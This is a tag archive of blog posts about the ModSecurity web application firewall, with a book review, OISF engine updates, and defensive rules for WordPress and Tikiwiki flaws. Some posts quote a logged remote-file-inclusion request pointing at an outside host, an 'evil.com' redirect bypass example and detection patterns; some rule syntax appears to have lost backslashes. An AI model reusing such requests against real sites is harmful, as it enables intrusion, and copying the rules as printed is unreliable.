Tag Archives: ModSecurity

Ohloh

Posted on by

Ohloh is a pretty cool site for keeping track of projects and programmers. It’s an easy way to keep track of the development in a project and gives a nice indication of how actively it’s being developed. It has some social networkish features too, such as individual developers giving each other “kudos”.

The code analysis is pretty nice: it gives statistics on code base size, growth, comment ratio, languages used, etc. Per developer it tracks quite a few stats as well.

It also does a estimate of the cost of a project. For the Suricata project it currently estimates cost of 2.1 million USD. Actual cost are significantly less than that, less than half of that. So either we are severely underpaid or the calculation is off quite a bit 🙂

The per developer code statistics show that I’ve “touched” 131k lines of code out of 148k which confirms what I already knew: I need some vacation…

Anyway, check it out. Vuurmuur is on there, as are Snort and ModSecurity.

Oh by the way, Suricata 1.0 coming out tomorrow!

Book review: Magnus Mischel – ModSecurity 2.5

Posted on by

It’s been quite a while since I received my review copy of Magnus Mischel’s ModSecurity book titled “ModSecurity 2.5” but I finally found the time to read it and write up my review. As the title suggest it’s a book about the ModSecurity Web Application Firewall (WAF) module for Apache and about version 2.5 of it specifically. There are some books about the 1.x series of ModSecurity. It’s great that there is a book about the 2.x ModSecurity series now as ModSecurity 2.x is very different from the 1.x series.

The ModSecurity module is very powerful but also very complex. It’s pretty trivial to add a few rules blocking some attacks, but when trying to protect large web applications such as OWA things get complicated very quickly. But even with a smaller system like WordPress I found that finding the right approach is not trivial. While there is an online manual and there are an array of blogposts (some written by me even), a good overview of ModSecurity’s features and how to really deploy it properly and effectively in complex environments is lacking. This is what I hoped to find in this book.

Giving this expectation the book slightly disappointed me. But let me start out with what I liked about the book.

The book gives a broad overview of how ModSecurity can be used. It deals with the obvious parts like compilation, installation and setting up, but also handles more interesting parts like virtual patching, performance profiling, the difference between “positive” and “negative” security approaches, REMO (a web based open source ModSecurity rule editor) and more. I learned quite a bit here, for example about directives to deal with credit card numbers.

Where it falls short is mostly in the lack of depth. It touches a lot of subjects, but most of them only pretty briefly. Next to this a view chapters could be organized a little better, especially in the first couple of chapters. I think what would really improve this book is adding the approach done by my favorite ModSecurity book so far, Ryan C. Barnetts “Preventing Web Attacks With Apache”. In that book a flawed application is introduced (Buggy Bank) and much time is spend on explaining how things are broken and where ModSecurity can and cannot help.

My verdict is that “ModSecurity 2.5” is a good introductionary book into ModSecurity, but that it’s missing some depth to be much more than that. Being someone that has quite a bit of ModSecurity experience, including writing pretty complex rulesets, I had hoped for more help on dealing with those. But all being said, I still recommend this book to anyone that is in need of a good introduction into ModSecurity. I recommend picking up Ryan C. Barnetts “Preventing Web Attacks With Apache” book alongside with it, even though it deals with ModSecurity 1.x. I think together they will provide enough depth to deal with a real world environment.

On a final note I’d like to mention that Ivan Ristic, the original ModSecurity creator, has also written a new book on ModSecurity. I haven’t read that yet, but Ivan’s first book was excellent.

OISF engine development update(2)

Posted on by

Another quick update on the development of the OISF engine. Overall development is going great. Basics like signature keywords, stream reassembly, ip defragmentation are nearing completion. Unified1 + barnyard was already working for quite some time, but now we also have unified2 compatible output. I’ve tested this to work with barnyard2 and Sguil which works nicely.

We have the first versions of our new YAML based configuration format checked in, a brand new logging API, midstream pickup support in our Stream engine, native PFRING support and many other additions.

Next up in development is IP reputation support in the engine, support for advanced vars and more L7 modules.

The IP reputation is one of the things we have high expectation about. In working group discussions we defined 16 categories for which to keep reputation, for example: spammer, cnc, p2p, etc. We’re currently designing the datatypes for holding as much of this info in memory as possible.

The advanced vars is the idea of applying ModSecurity’s var collections to our engine. They will be like Snort’s flowbits, but then more advanced. At least 2 more types will be supported: integers and raw buffers. Integers should enable signatures to modify counters, but also compare various counters with each other.

In the L7 modules development we’re putting a big focus on HTTP (more on that later). We’re also currently working on a DCE/RPC decoder. For this work we hired Kirby Kuehl from Breaking Point. The L7 framework I’m still working on should make development of modules for new protocols fairly straightforward.

We expect to announce the name and mascot of our engine soon. Also our bylaws should also finally been done almost now, just as the consortium license. Once thats all into place, we expect to open up our code to the public quite soon. Exciting times!

DC meeting

Posted on by

So I just got back from Washington D.C. where we had our first public meeting for the OISF. I think it went very well as there were more people than expected. The attendees came from all parts from the industry & government. Overall reception was very positive and we’ve gotten many offers for help in development & testing.

Around the public meetings we had private meetings with a number of companies and I’m very happy that three of them commited to the project already:

Endace the New Zealand based hardware acceleration company was first to commit. They are providing us with hardware and time from their coders. Naturally they will be interested in getting our code to perform as good as possible on their hardware, but they have offered to assist in the general development of the engine as well.

Breach Security is supporting us too. They are providing us with coding time of Brian Rectanus, the current developer and maintainer of ModSecurity. Given my enthusiasm about ModSecurity, no one will be surprised that I’m really excited to having Brian and Breach involved. Naturally, they are going to help us make sure our engine excels at HTTP security. More on that in a later post.

Last (for now), we’re getting support from Nitro Security. Having worked with Nitro in the past I’m really excited about this as well, especially as Nitro has an IPS interest. Of course inliniac cares a lot about IPS! 🙂 The form of Nitro’s support is still to be determined, but it’ll likely be in the form of time from their coders.

At this point, contributions like this (coding support, QA hardware) is what we are interested in most. We’re talking to a number of other companies for setting similar partnerships. We’ll announce them as soon as we know more.

On a last note, I’d like to thank Frank Knobbe, Daniel Peck and Richard Bejtlich for attending the meeting. It was great finally meeting you guys in person and thanks for your great input. Same goes for the other people that were there, thanks a lot for coming!

We will be publishing our meeting notes soon. Stay tuned!

Extracting bad url’s from ModSecurity events in Sguil

Posted on by

Running a PHP based blog, I see a lot of attempts to include code hosted elsewhere in requests. A long time ago I added a simple rule to block one type of the these attempts. A typical attempt looks like this:

GET /blog/category/index.php?page=http://www.djrady.ru/includes/conf.txt?? HTTP/1.1

Notice the trailing questionmarks? Turns out these are always present, so very easy to block on. I’m doing that for a long time now, never seen a single false positive. The rule looks like this:

SecRule ARGS:/.*/ “https?.*?$” “msg:’LOCAL PHP ? link code inclusion attempt’,severity:1,phase:1”

This rule looks at all request args, and checks if their value contains http or https and if it ends with a questionmark. If so, the request is blocked.

Today I was thinking that the URI’s that are included probably contain some badness, and it would be interesting to look what all the URI’s are. Using modsec2sguil I’m adding all ModSecurity events to Sguil, so this was going to be an interesting MySQL challenge!

The query I came up with is this:

SELECT COUNT(*) AS cnt, INET_NTOA(src_ip) AS “Source IP”, trim(LEADING “=” FROM substring_index(substr(unhex(data_payload),locate(‘=http’,unhex(data_payload))), ‘?’, 1)) AS url FROM event INNER JOIN data ON event.sid = data.sid and event.cid = data.cid WHERE (timestamp >= ‘2009-01-13’ AND signature LIKE “MSc 403 LOCAL PHP ?%”) GROUP BY src_ip,url ORDER BY cnt DESC LIMIT 10;

The result is here (click here for full picture):

Bad uri's from Sguil

I get about 10 url’s like this a day, usually they are tried more than once. So what is at these links? The first one gave a 404, so let’s look at the second one. It’s a jpg, thats a picture right? Wrong!

I downloaded the file and opened it in vim. As you can see in this fragment, this is php code…

Bad uri code

Anyone know if there is some place I can report these url’s to on a daily/weekly basis?

WordPress version 2.6 & ModSecurity

Posted on by

Today I updated my WordPress installation to version 2.6. The upgrade went smooth as usual. However afterwards I couldn’t login anymore because one of my ModSecurity rules was triggered at the login. Turns out the WordPress developers changed the use of the ‘redirect_to’ argument in wp-login.php. WordPress uses it to redirect the browser to some part of the weblog software after a successful login. Some time ago there used to be a vulnerability in WordPress as described here: http://www.securityfocus.com/archive/1/463291. To prevent exploitation on my box at the time I created the following rule:

SecRule REQUEST_FILENAME “/wp-login.php” “chain,msg:’WORDPRESS wp-login.php redirect_to credentials stealing attempt’,severity:2,t:normalisePath”
SecRule ARGS:/^s*redirect_to$/ “^(ht|f)tps?://”

This worked because WordPress only used relative paths as values for the ‘redirect_to’ argument. With 2.6 however, this has changed. WordPress now tries to redirect to a full URI. So the above rule needed an update. What I wanted is to adapt the rule so that it only allows the redirect to my own domain. So I created the following rule:

SecRule REQUEST_FILENAME “/wp-login.php” “chain,msg:’WORDPRESS wp-login.php redirect_to credentials stealing attempt’,severity:2,t:normalisePath”
SecRule ARGS:/^s*redirect_to$/ “^(?:ht|f)tps?://(.*)$” “chain,capture”
SecRule TX:1 “!@beginsWith %{SERVER_NAME}”

What it does is take the domain name from the ‘redirect_to’ variable and strip the leading http:// or https:// from it. Next, that is compared with Apache2’s SERVER_NAME variable. It is tested using ‘beginsWith’ so the rule can’t be bypassed using something like ‘redirect_to=http://evil.com/www.inliniac.net/’.

This way the logins work again and I still should be notified when someone tries this old (and patched) trick on me!

Update to Modsec2sguil

Posted on by

Yesterday the much anticipated Sguil 0.7.0 final was released, as was announced here. I’ve updated Modsec2sguil to support it. Next to this Ryan Cummings sent me a patch for supporting ModSecurity 2.5. So that is included as well. I haven’t given it much testing yet, but works on my boxes.

Get the new release here: http://www.inliniac.net/modsec2sguil/

Thank you Ryan for your contribution!

ModSecurity rules for Tikiwiki 1.x tiki-graph_formula.php Function Injection Vulnerability

Posted on by

A new vulnerability has been found in Tikiwiki. Read more about it here.

I’ve created the following ModSecurity rule to block it.

SecDefaultAction “log,deny,phase:2,status:403,t:urlDecodeUni,t:lowercase”

SecRule REQUEST_FILENAME “tiki-graph_formula.php” “chain,msg:’TIKIWIKI tiki-graph_formula.php link inclusion attempt’,severity:2”
SecRule ARGS:/^s*[a-z]+$/ “^(ht|f)tps?://”

SecRule REQUEST_FILENAME “tiki-graph_formula.php” “chain,msg:’TIKIWIKI tiki-graph_formula.php f parameter Function Injection Vulnerability’,severity:2”
SecRule ARGS_NAMES “^s*f[.*]$”

Ivan, I hope these rules survive your scrutiny 😉

Updated at 13:50: The first rule only covered the file inclusion in the title parameter which was what I was seeing in my logs. These rules should cover both the inclusion and the injection.

ModSecurity rule for Tikiwiki XSS

Posted on by

I just read about a Tikiwiki XSS here. Since the Vuurmuur wiki runs Tikiwiki I created a ModSecurity rule for it:

SecDefaultAction “log,deny,phase:2,status:403,t:urlDecodeUni,t:lowercase”

# XSS in remind password field
SecRule REQUEST_METHOD “^post$” “chain,msg:’TIKIWIKI lost password XSS'”
SecRule REQUEST_FILENAME “tiki-remind_password.php” “chain”
SecRule ARGS:/s*username/ “!^(:?[a-z0-9-_]{1,37})$”

This allows only valid usernames to be entered.

Update: Ivan Ristic privately pointed me at some possible problems with the rule:

  1. the escaping of the – and _ chars is not needed, although it seems to be harmless.
  2. the $ at the end of the filename is dangerous, because Apache treats tiki-remind_password.php/xxx as tiki-remind_password.php. In this case the rule is evaded.
  3. PHP (which Tikiwiki uses) ignores leading spaces in request arguments. So it treats ‘ username’ the same as ‘username’. The rule needs to deal with that.

Thanks for your feedback Ivan!

Old rule:

SecDefaultAction “log,deny,phase:2,status:403,t:urlDecodeUni,t:lowercase”

# XSS in remind password field
SecRule REQUEST_METHOD “^post$” “chain,msg:’TIKIWIKI lost password XSS’”
SecRule REQUEST_FILENAME “tiki-remind_password.php$” “chain”
SecRule ARGS:username “!^(:?[a-z0-9-_]{1,37})$”